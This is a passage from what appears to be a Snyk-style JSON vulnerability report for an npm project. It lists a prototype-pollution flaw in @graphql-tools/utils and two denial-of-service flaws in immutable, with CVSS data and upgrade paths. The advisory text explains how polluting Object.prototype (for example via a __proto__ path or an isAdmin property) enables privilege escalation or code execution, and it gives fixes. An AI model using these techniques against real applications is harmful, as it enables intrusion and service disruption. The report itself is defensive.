\n\nWhen the source object contains a property named `__proto__` defined with `Object.defineProperty()` , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of `Object` and the source of `Object` as defined by the attacker. Properties are then copied on the `Object` prototype.\n\nClone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: `merge({},source)`.\n\n`lodash` and `Hoek` are examples of libraries susceptible to recursive merge attacks.\n\n### Property definition by path\n\nThere are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: `theFunction(object, path, value)`\n\nIf the attacker can control the value of “path”, they can set this value to `__proto__.myValue`. `myValue` is then assigned to the prototype of the class of the object.\n\n## Types of attacks\n\nThere are a few methods by which Prototype Pollution can be manipulated:\n\n| Type |Origin |Short description |\n|--|--|--|\n| **Denial of service (DoS)**|Client |This is the most likely attack.
DoS occurs when `Object` holds generic functions that are implicitly called for various operations (for example, `toString` and `valueOf`).
The attacker pollutes `Object.prototype.someattr` and alters its state to an unexpected value such as `Int` or `Object`. In this case, the code fails and is likely to cause a denial of service.
**For example:** if an attacker pollutes `Object.prototype.toString` by defining it as an integer, if the codebase at any point was reliant on `someobject.toString()` it would fail. |\n |**Remote Code Execution**|Client|Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
**For example:** `eval(someobject.someattr)`. In this case, if the attacker pollutes `Object.prototype.someattr` they are likely to be able to leverage this in order to execute code.|\n|**Property Injection**|Client|The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
**For example:** if a codebase checks privileges for `someuser.isAdmin`, then when the attacker pollutes `Object.prototype.isAdmin` and sets it to equal `true`, they can then achieve admin privileges.|\n\n## Affected environments\n\nThe following environments are susceptible to a Prototype Pollution attack:\n\n- Application server\n \n- Web server\n\n- Web browser\n \n\n## How to prevent\n\n1. Freeze the prototype— use `Object.freeze (Object.prototype)`.\n \n2. Require schema validation of JSON input.\n \n3. Avoid using unsafe recursive merge functions.\n \n4. Consider using objects without prototypes (for example, `Object.create(null)`), breaking the prototype chain and preventing pollution.\n \n5. As a best practice use `Map` instead of `Object`.\n\n### For more information on this vulnerability type:\n\n[Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018](https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf)\n\n## Remediation\nUpgrade `@graphql-tools/utils` to version 12.0.1 or higher.\n## References\n- [GitHub Commit](https://github.com/ardatan/graphql-tools/commit/0b9529f1988fd36186a7c106a6efe0356f1b7f2e)\n- [GitHub PR](https://github.com/ardatan/graphql-tools/pull/8423)\n- [GitHub PR](https://github.com/graphql-hive/gateway/pull/2600)\n- [Maintainer's Advisory](https://github.com/ardatan/graphql-tools/security/advisories/GHSA-7mx3-vvmw-hjmv)\n",
"epssDetails": {
"percentile": "0.27143",
"probability": "0.00356",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-104852"
],
"CWE": [
"CWE-1321"
],
"GHSA": [
"GHSA-7mx3-vvmw-hjmv"
]
},
"packageName": "@graphql-tools/utils",
"proprietary": false,
"creationTime": "2026-10-06T13:40:54.993466Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-10-06T00:13:54.277000Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-10-06T13:40:55.188306Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-07T13:32:37.361867Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"socket.io-server-v2@0.0.0",
"@apollo/server@5.5.0",
"@graphql-tools/schema@10.0.32",
"@graphql-tools/merge@9.1.8",
"@graphql-tools/utils@11.0.1"
],
"upgradePath": [
false,
"@apollo/server@5.5.0",
"@graphql-tools/schema@10.1.5",
"@graphql-tools/merge@9.2.8",
"@graphql-tools/utils@12.1.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "@graphql-tools/utils",
"version": "11.0.1"
},
{
"id": "SNYK-JS-IMMUTABLE-17900558",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"nvth"
],
"semver": {
"vulnerable": [
"<3.8.4",
">=4.0.0-rc.1 <4.3.9",
">=5.0.0-beta.1 <5.1.8"
]
},
"exploit": "Not Defined",
"fixedIn": [
"3.8.4",
"4.3.9",
"5.1.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "immutable",
"references": [
{
"url": "https://github.com/immutable-js/immutable-js/security/advisories/GHSA-xvcm-6775-5m9r",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/immutable-js/immutable-js/commit/3dd7e5655012597a41873e328bf9142a8901527b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/immutable-js/immutable-js/commit/e51d49fc612ded5ec4dfb94ff294d22074269b0f",
"title": "GitHub Commit"
},
{
"url": "https://github.com/immutable-js/immutable-js/releases/tag/v4.3.9",
"title": "GitHub Release"
},
{
"url": "https://github.com/immutable-js/immutable-js/releases/tag/v5.1.8",
"title": "GitHub Release"
}
],
"cvssDetails": [],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-24T14:17:02.135918Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-24T14:17:02.135918Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `HashCollisionNode` class in `Immutable.Map` and `Immutable.Set`. An attacker can cause excessive CPU consumption by supplying a large number of keys with identical 32-bit hashes, leading to degraded insertion and lookup performance through crafted input objects.\n## Remediation\nUpgrade `immutable` to version 3.8.4, 4.3.9, 5.1.8 or higher.\n## References\n- [GitHub Advisory](https://github.com/immutable-js/immutable-js/security/advisories/GHSA-xvcm-6775-5m9r)\n- [GitHub Commit](https://github.com/immutable-js/immutable-js/commit/3dd7e5655012597a41873e328bf9142a8901527b)\n- [GitHub Commit](https://github.com/immutable-js/immutable-js/commit/e51d49fc612ded5ec4dfb94ff294d22074269b0f)\n- [GitHub Release](https://github.com/immutable-js/immutable-js/releases/tag/v4.3.9)\n- [GitHub Release](https://github.com/immutable-js/immutable-js/releases/tag/v5.1.8)\n",
"epssDetails": {
"percentile": "0.49605",
"probability": "0.00665",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-59880"
],
"CWE": [
"CWE-407"
],
"GHSA": [
"GHSA-xvcm-6775-5m9r"
]
},
"packageName": "immutable",
"proprietary": false,
"creationTime": "2026-07-09T09:44:04.125578Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-08T18:46:33Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-09T09:44:04.311796Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-24T14:17:02.135918Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"socket.io-server-v2@0.0.0",
"@graphql-codegen/c-sharp@5.1.2",
"@graphql-codegen/visitor-plugin-common@5.8.0",
"@graphql-tools/relay-operation-optimizer@7.0.25",
"@ardatan/relay-compiler@12.0.3",
"immutable@3.8.3"
],
"upgradePath": [
false,
"@graphql-codegen/c-sharp@5.1.2",
"@graphql-codegen/visitor-plugin-common@5.8.0",
"@graphql-tools/relay-operation-optimizer@7.1.14",
"@ardatan/relay-compiler@13.0.2",
"immutable@5.1.9"
],
"isUpgradable": true,
"isPatchable": false,
"name": "immutable",
"version": "3.8.3"
},
{
"id": "SNYK-JS-IMMUTABLE-17900573",
"title": "Integer Overflow or Wraparound",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Mateusz Gierblinski"
],
"semver": {
"vulnerable": [
"<3.8.4",
">=4.0.0-rc.1 <4.3.9",
">=5.0.0-beta.1 <5.1.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"3.8.4",
"4.3.9",
"5.1.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "immutable",
"references": [
{
"url": "https://github.com/immutable-js/immutable-js/security/advisories/GHSA-v56q-mh7h-f735",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/immutable-js/immutable-js/commit/a1a1ee412dcaa380ab325196283d06594ffe4b84",
"title": "GitHub Commit"
},
{
"url": "https://github.com/immutable-js/immutable-js/commit/f0bc997d8eb9886aff2236635aa210a95a04304a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/immutable-js/immutable-js/releases/tag/v4.3.9",
"title": "GitHub Release"
},
{
"url": "https://github.com/immutable-js/immutable-js/releases/tag/v5.1.8",
"title": "GitHub Release"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"cvssV3BaseScore": 5.3,
"modificationTime": "2026-09-22T05:58:45.717773Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-24T14:17:01.534275Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-24T14:17:01.534275Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 5.3,
"cvssVersion": "3.1",
"modificationTime": "2026-09-22T05:58:45.717773Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Integer Overflow or Wraparound in the `setListBounds` function in `src/List.js` when handling an index or size in the range 2 ** 30 to 2 ** 31. An attacker can cause an empty list to enter an uncatchable infinite loop, trigger unbounded memory allocation until process abort, or cause silent value wrapping by supplying crafted input values.\n## Remediation\nUpgrade `immutable` to version 3.8.4, 4.3.9, 5.1.8 or higher.\n## References\n- [GitHub Advisory](https://github.com/immutable-js/immutable-js/security/advisories/GHSA-v56q-mh7h-f735)\n- [GitHub Commit](https://github.com/immutable-js/immutable-js/commit/a1a1ee412dcaa380ab325196283d06594ffe4b84)\n- [GitHub Commit](https://github.com/immutable-js/immutable-js/commit/f0bc997d8eb9886aff2236635aa210a95a04304a)\n- [GitHub Release](https://github.com/immutable-js/immutable-js/releases/tag/v4.3.9)\n- [GitHub Release](https://github.com/immutable-js/immutable-js/releases/tag/v5.1.8)\n",
"epssDetails": {
"percentile": "0.49607",
"probability": "0.00665",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-59879"
],
"CWE": [
"CWE-190"
],
"GHSA": [
"GHSA-v56q-mh7h-f735"
]
},
"packageName": "immutable",
"proprietary": false,
"creationTime": "2026-07-09T09:51:55.702404Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-08T18:46:39Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-09T09:51:55.883234Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-24T14:17:01.534275Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"socket.io-server-v2@0.0.0",
"@graphql-codegen/c-sharp@5.1.2",
"@graphql-codegen/visitor-plugin-common@5.8.0",
"@graphql-tools/relay-operation-optimizer@7.0.25",
"@ardatan/relay-compiler@12.0.3",
"immutable@3.8.3"
],
"upgradePath": [
false,
"@graphql-codegen/c-sharp@5.1.2",
"@graphql-codegen/visitor-plugin-common@5.8.0",
"@graphql-tools/relay-operation-optimizer@7.1.14",
"@ardatan/relay-compiler@13.0.2",
"immutable@5.1.9"
],
"isUpgradable": true,
"isPatchable": false,
"name": "immutable",
"version": "3.8.3"
},
{
"id": "SNYK-JS-IMMUTABLE-17900558",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"nvth"
],
"semver": {
"vulnerable": [
"<3.8.4",
">=4.0.0-rc.1 <4.3.9",
">=5.0.0-beta.1 <5.1.8"
]
},
"exploit": "Not Defined",
"fixedIn": [
"3.8.4",
"4.3.9",
"5.1.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "immutable",
"references": [
{
"url": "https://github.com/immutable-js/immutable-js/security/advisories/GHSA-xvcm-6775-5m9r",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/immutable-js/immutable-js/commit/3dd7e5655012597a41873e328bf9142a8901527b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/immutable-js/immutable-js/commit/e51d49fc612ded5ec4dfb94ff294d22074269b0f",
"title": "GitHub Commit"
},
{
"url": "https://github.com/immutable-js/immutable-js/releases/tag/v4.3.9",
"title": "GitHub Release"
},
{
"url": "https://github.com/immutable-js/immutable-js/releases/tag/v5.1.8",
"title": "GitHub Release"
}
],
"cvssDetails": [],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-24T14:17:02.135918Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-24T14:17:02.135918Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `HashCollisionNode` class in `Immutable.Map` and `Immutable.Set`. An attacker can cause excessive CPU consumption by supplying a large number of keys with identical 32-bit hashes, leading to degraded insertion and lookup performance through crafted input objects.\n## Remediation\nUpgrade `immutable` to version 3.8.4, 4.3.9, 5.1.8 or higher.\n## References\n- [GitHub Advisory](https://github.com/immutable-js/immutable-js/security/advisories/GHSA-xvcm-6775-5m9r)\n- [GitHub Commit](https://github.com/immutable-js/immutable-js/commit/3dd7e5655012597a41873e328bf9142a8901527b)\n- [GitHub Commit](https://github.com/immutable-js/immutable-js/commit/e51d49fc612ded5ec4dfb94ff294d22074269b0f)\n- [GitHub Release](https://github.com/immutable-js/immutable-js/releases/tag/v4.3.9)\n- [GitHub Release](https://github.com/immutable-js/immutable-js/releases/tag/v5.1.8)\n",
"epssDetails": {
"percentile": "0.49605",
"probability": "0.00665",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-59880"
],
"CWE": [
"CWE-407"
],
"GHSA": [
"GHSA-xvcm-6775-5m9r"
]
},
"packageName": "immutable",
"proprietary": false,
"creationTime": "2026-07-09T09:44:04.125578Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-08T18:46:33Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-09T09:44:04.311796Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-24T14:17:02.135918Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"socket.io-server-v2@0.0.0",
"@graphql-codegen/c-sharp-operations@3.2.0",
"@graphql-codegen/visitor-plugin-common@5.8.0",
"@graphql-tools/relay-operation-optimizer@7.0.25",
"@ardatan/relay-compiler@12.0.3",
"immutable@3.8.3"
],
"upgradePath": [
false,
"@graphql-codegen/c-sharp-operations@3.2.0",
"@graphql-codegen/visitor-plugin-common@5.8.0",
"@graphql-tools/relay-operation-optimizer@7.1.14",
"@ardatan/relay-compiler@13.0.2",
"immutable@5.1.9"
],
"isUpgradable": true,
"isPatchable": false,
"name": "immutable",
"version": "3.8.3"
},
{
"id": "SNYK-JS-IMMUTABLE-17900573",
"title": "Integer Overflow or Wraparound",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Mateusz Gierblinski"
],
"semver": {
"vulnerable": [
"<3.8.4",
">=4.0.0-rc.1 <4.3.9",
">=5.0.0-beta.1 <5.1.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"3.8.4",
"4.3.9",
"5.1.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "immutable",
"references": [
{
"url": "https://github.com/immutable-js/immutable-js/security/advisories/GHSA-v56q-mh7h-f735",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/immutable-js/immutable-js/commit/a1a1ee412dcaa380ab325196283d06594ffe4b84",
"title": "GitHub Commit"
},
{
"url": "https://github.com/immutable-js/immutable-js/commit/f0bc997d8eb9886aff2236635aa210a95a04304a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/immutable-js/immutable-js/releases/tag/v4.3.9",
"title": "GitHub Release"
},
{
"url": "https://github.com/immutable-js/immutable-js/releases/tag/v5.1.8",
"title": "GitHub Release"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"cvssV3BaseScore": 5.3,
"modificationTime": "2026-09-22T05:58:45.717773Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-24T14:17:01.534275Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-24T14:17:01.534275Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 5.3,
"cvssVersion": "3.1",
"modificationTime": "2026-09-22T05:58:45.717773Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Integer Overflow or Wraparound in the `setListBounds` function in `src/List.js` when handling an index or size in the range 2 ** 30 to 2 ** 31. An attacker can cause an empty list to enter an uncatchable infinite loop, trigger unbounded memory allocation until process abort, or cause silent value wrapping by supplying crafted input values.\n## Remediation\nUpgrade `immutable` to version 3.8.4, 4.3.9, 5.1.8 or higher.\n## References\n- [GitHub Advisory](https://github.com/immutable-js/immutable-js/security/advisories/GHSA-v56q-mh7h-f735)\n- [GitHub Commit](https://github.com/immutable-js/immutable-js/commit/a1a1ee412dcaa380ab325196283d06594ffe4b84)\n- [GitHub Commit](https://github.com/immutable-js/immutable-js/commit/f0bc997d8eb9886aff2236635aa210a95a04304a)\n- [GitHub Release](https://github.com/immutable-js/immutable-js/releases/tag/v4.3.9)\n- [GitHub Release](https://github.com/immutable-js/immutable-js/releases/tag/v5.1.8)\n",
"epssDetails": {
"percentile": "0.49607",
"probability": "0.00665",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-59879"
],
"CWE": [
"CWE-190"
],
"GHSA": [
"GHSA-v56q-mh7h-f735"
]
},
"packageName": "immutable",
"proprietary": false,
"creationTime": "2026-07-09T09:51:55.702404Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-08T18:46:39Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-09T09:51:55.883234Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-24T14:17:01.534275Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"socket.io-server-v2@0.0.0",
"@graphql-codegen/c-sharp-operations@3.2.0",
"@graphql-codegen/visitor-plugin-common@5.8.0",
"@graphql-tools/relay-operation-optimizer@7.0.25",
"@ardatan/relay-compiler@12.0.3",
"immutable@3.8.3"
],
"upgradePath": [
false,
"@graphql-codegen/c-sharp-operations@3.2.0",
"@graphql-codegen/visitor-plugin-common@5.8.0",
"@graphql-tools/relay-operation-optimizer@7.1.14",
"@ardatan/relay-compiler@13.0.2",
"immutable@5.1.9"
],
"isUpgradable": true,
"isPatchable": false,
"name": "immutable",
"version": "3.8.3"
},
{
"id": "SNYK-JS-IMMUTABLE-17900558",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"nvth"
],
"semver": {
"vulnerable": [
"<3.8.4",
">=4.0.0-rc.1 <4.3.9",
">=5.0.0-beta.1 <5.1.8"
]
},
"exploit": "Not Defined",
"fixedIn": [
"3.8.4",
"4.3.9",
"5.1.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "immutable",
"references": [
{
"url": "https://github.com/immutable-js/immutable-js/security/advisories/GHSA-xvcm-6775-5m9r",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/immutable-js/immutable-js/commit/3dd7e5655012597a41873e328bf9142a8901527b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/immutable-js/immutable-js/commit/e51d49fc612ded5ec4dfb94ff294d22074269b0f",
"title": "GitHub Commit"
},
{
"url": "https://github.com/immutable-js/immutable-js/releases/tag/v4.3.9",
"title": "GitHub Release"
},
{
"url": "https://github.com/immutable-js/immutable-js/releases/tag/v5.1.8",
"title": "GitHub Release"
}
],
"cvssDetails": [],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-24T14:17:02.135918Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-24T14:17:02.135918Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `HashCollisionNode` class in `Immutable.Map` and `Immutable.Set`. An attacker can cause excessive CPU consumption by supplying a large number of keys with identical 32-bit hashes, leading to degraded insertion and lookup performance through crafted input objects.\n## Remediation\nUpgrade `immutable` to version 3.8.4, 4.3.9, 5.1.8 or higher.\n## References\n- [GitHub Advisory](https://github.com/immutable-js/immutable-js/security/advisories/GHSA-xvcm-6775-5m9r)\n- [GitHub Commit](https://github.com/immutable-js/immutable-js/commit/3dd7e5655012597a41873e328bf9142a8901527b)\n- [GitHub Commit](https://github.com/immutable-js/immutable-js/commit/e51d49fc612ded5ec4dfb94ff294d22074269b0f)\n- [GitHub Release](https://github.com/immutable-js/immutable-js/releases/tag/v4.3.9)\n- [GitHub Release](https://github.com/immutable-js/immutable-js/releases/tag/v5.1.8)\n",
"epssDetails": {
"percentile": "0.49605",
"probability": "0.00665",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-59880"
],
"CWE": [
"CWE-407"
],
"GHSA": [
"GHSA-xvcm-6775-5m9r"
]
},
"packageName": "immutable",
"proprietary": false,
"creationTime": "2026-07-09T09:44:04.125578Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-08T18:46:33Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-09T09:44:04.311796Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-24T14:17:02.135918Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"socket.io-server-v2@0.0.0",
"@graphql-codegen/c-sharp@5.1.2",
"@graphql-codegen/c-sharp-common@1.2.0",
"@graphql-codegen/visitor-plugin-common@5.8.0",
"@graphql-tools/relay-operation-optimizer@7.0.25",
"@ardatan/relay-compiler@12.0.3",
"immutable@3.8.3"
],
"upgradePath": [
false,
"@graphql-codegen/c-sharp@5.1.2",
"@graphql-codegen/c-sharp-common@1.2.0",
"@graphql-codegen/visitor-plugin-common@5.8.0",
"@graphql-tools/relay-operation-optimizer@7.1.14",
"@ardatan/relay-compiler@13.0.2",
"immutable@5.1.9"
],
"isUpgradable": true,
"isPatchable": false,
"name": "immutable",
"version": "3.8.3"
},
{
"id": "SNYK-JS-IMMUTABLE-17900573",
"title": "Integer Overflow or Wraparound",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Mateusz Gierblinski"
],
"semver": {
"vulnerable": [
"<3.8.4",
">=4.0.0-rc.1 <4.3.9",
">=5.0.0-beta.1 <5.1.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"3.8.4",
"4.3.9",
"5.1.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "immutable",
"references": [
{
"url": "https://github.com/immutable-js/immutable-js/security/advisories/GHSA-v56q-mh7h-f735",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/immutable-js/immutable-js/commit/a1a1ee412dcaa380ab325196283d06594ffe4b84",
"title": "GitHub Commit"
},
{
"url": "https://github.com/immutable-js/immutable-js/commit/f0bc997d8eb9886aff2236635aa210a95a04304a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/immutable-js/immutable-js/releases/tag/v4.3.9",
"title": "GitHub Release"
},
{
"url": "https://github.com/immutable-js/immutable-js/releases/tag/v5.1.8",
"title": "GitHub Release"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"cvssV3BaseScore": 5.3,
"modificationTime": "2026-09-22T05:58:45.717773Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-24T14:17:01.534275Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-24T14:17:01.534275Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 5.3,
"cvssVersion": "3.1",
"modificationTime": "2026-09-22T05:58:45.717773Z"
}
],
